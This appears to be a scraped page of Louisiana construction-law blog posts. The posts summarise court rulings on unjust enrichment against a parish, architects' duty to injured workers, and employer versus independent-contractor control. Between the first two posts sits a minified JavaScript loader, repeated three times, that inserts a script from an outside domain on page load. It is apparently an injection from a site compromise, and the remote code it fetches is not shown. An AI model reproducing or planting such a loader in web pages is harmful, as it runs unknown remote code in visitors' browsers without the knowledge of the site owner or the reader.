Chelsea A. Payne

Under Louisiana law, unjust enrichment is a cause of action that is based in equity and provides that no one should be enriched at the expense of another. The elements of an unjust enrichment claim are: (1) an enrichment; (2) an impoverishment; (3) a connection between the enrichment and the impoverishment; (4) an absence of justification or cause for the enrichment and impoverishment; and (5) no other available remedy at law. The Supreme Court recently addressed the fourth element regarding the absence of justification for the enrichment.

In H & O Invs., LLC v. Par. of Jefferson Through Sheng, a grass cutting contractor entered into a contract with the Parish for grass cutting in certain areas. The Parish separately contracted with a second contractor for weed control of the same areas. During the contract period, the grass cutting contractor notified the Parish that there was unanticipated weed growth and suggested that the weed control contractor was not properly applying the herbicide. The grass cutting contractor alleged that its work became more expensive because of the weed control contractor’s failure to perform its contractual obligation.

The grass cutting contractor sued the Parish alleging unjust enrichment. The Parish filed an exception of no cause of action, claiming that there was no claim for unjust enrichment because a contract existed between the parties. The Fifth Circuit disagreed and held that the contractor could bring a claim for unjust enrichment because there was no contractual claim between the contractor and the Parish, as both parties fulfilled their contract obligations.

The Supreme Court reversed, noting that a claim for unjust enrichment requires a showing that there was an “absence of justification or cause for the enrichment.” The Supreme Court held that when a contract exists between the parties, it serves as the law between them, and that contract is the legal cause or justification for the enrichment. Therefore, the contract between the contractor and the Parish was in fact the justification for the enrichment such that it could not be “unjust.” The Supreme Court dismissed the contractor’s suit against the Parish.

Reference:

H&O Invs., LLC v. Par. of Jefferson, 24-554 (La. App. 5 Cir. 12/18/24), writ granted, decision rev'd sub nom. H & O Invs., LLC v. Par. of Jefferson Through Sheng, 2025-00086 (La. 5/20/25), 408 So.3d 958.

;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');

A design professional’s duties and responsibilities on a construction project generally are outlined in its contract with the owner. Does a design professional’s duty extend to third parties? The Supreme Court recently addressed this issue and held that the design professional’s duty to third parties is limited to the terms of the contract documents.

In Bonilla, a construction worker was injured while performing demolition work on a construction project. The worker, who was a subcontractor on the project, filed suit against the architect and the engineer on the project alleging that these design professionals failed to monitor and supervise the execution of the plans to ensure safety on the job site.

The engineer and the architect filed summary judgment motions arguing that they owed no duty to oversee, supervise, or maintain the construction site. The trial court granted their motions. However, the appellate court found the contract between the architect and the owner may have inferred a duty was owed to the worker.

The appellate court referenced contract provisions that required the architect to make weekly site visits and to report to the owner any deviations from the plans. The court noted that the architect was on site the day of the accident and photographed potential unsafe conditions, which would have deviated from the plans. The appeal court reversed the trial court’s ruling granting summary judgment.

The architect filed a writ with the Louisiana Supreme Court, which reversed the appellate court’s ruling and reinstated summary judgment in favor of the design professionals. The Supreme Court emphasized “the duty owed to an employee of a contractor by an engineer or architect is determined by the express provisions of the contract between the parties.”

While the contract documents required the architect to make weekly visits to the jobsite, the purpose of this duty was to ensure that the owner received the building it paid for and that the progress and quality of the work met the plans. More importantly, the contract also provided that these site visits did not create a duty to supervise construction. In contrast, under the terms of the contract, the contractor had control over construction means and methods and responsibility for site safety, specifically including site safety for all employees.

The clear and unambiguous language of the contract dictated that the design professions owed the worker no duty. Therefore, the Supreme Court held that the architect could not be held liable for failing to perform a duty that it had no responsibility to undertake.

Reference:

Bonilla v. Verges Rome Architects, 2023-00928 (La. 3/22/24), 382 So. 3d 62.

Under Louisiana’s comparative fault system, each party in a lawsuit generally is only liable for their own percentage of fault. However, in some instances, a party may be “vicariously” liable for the fault of another party. One example of vicarious liability is an employment relationship, where an employer can be liable for the fault of its employees. On the other hand, vicarious liability generally does not apply when the alleged “employee” is found to be an independent contractor. Whether a worker qualifies as an employee or an independent contractor often becomes an important issue in suits related to construction projects.

The test for determining whether a party is an employee or an independent contractor involves analysis of who has the right to control his or her work. In the construction context, courts distinguish between “operational control” (which suggests an employment relationship) and control as it relates to the results of the work (which suggests an independent contractor relationship). Two recent cases examine this issue and provide examples of how courts analyze the type of control necessary to establish vicarious liability in the construction projects.

In Stonetrust Com. Ins. Co. v. TBT Contracting, Inc. of LA, homeowners hired a general contractor to renovate their home. During the project, an electrical subcontractor was injured after falling through an attic space. It was alleged that the general contractor created a hazard by cutting a hole in the attic and concealing it. The plaintiff sued the general contractor and the homeowner. The court had to determine whether the homeowner could be liable for the subcontractor’s injuries, which would require a finding that the homeowner was vicariously liable for the general contractor’s fault.

The plaintiff argued that the homeowners were particularly involved in the project. It presented evidence to show the homeowners would give suggestions regarding the work to be performed and also directed alterations or additions to the work. The plaintiff argued that this demonstrated control over the general contractor’s work. However, the court disagreed. Despite the homeowners’ level of involvement, the court held that their control was limited to the results of the work, and was not “operational control.” The general contractor therefore was an independent contractor, and the homeowners were not vicariously liable for its acts.

In Baham v. Fisk Elec. Co., a city worker brought suit against a general contractor after suffering injuries from an electrical shock. The worker alleged that the general contractor was vicariously liable for the fault of its subcontractor. While evidence showed the subcontractor relied on the general contractor for the location of its work, the court found that this was not “operational control.” The court observed that general contractors are entitled to exercise supervisory control over its independent contractors to ensure compliance with the contract. It further found that suggestions or instructions given to an independent contractor do not equate to control over the methods or details of the work. Absent such “operational control” vicarious liability could not be imposed.

Though they may be limited to their facts, these cases show courts usually require a showing of more than suggestions or instructions regarding the work to establish the “operational control” necessary to trigger vicarious liability. Absent such a showing, independent contractors usually remain independent.

Case References:

Stonetrust Com. Ins. Co. v. TBT Contracting, Inc. of LA, 2022-0971 (La. App. 1 Cir. 4/14/23), 2023 WL 2947826

Baham v. Fisk Elec. Co., 2022-0551 (La. App. 4 Cir. 3/22/23), 2023 WL 2595253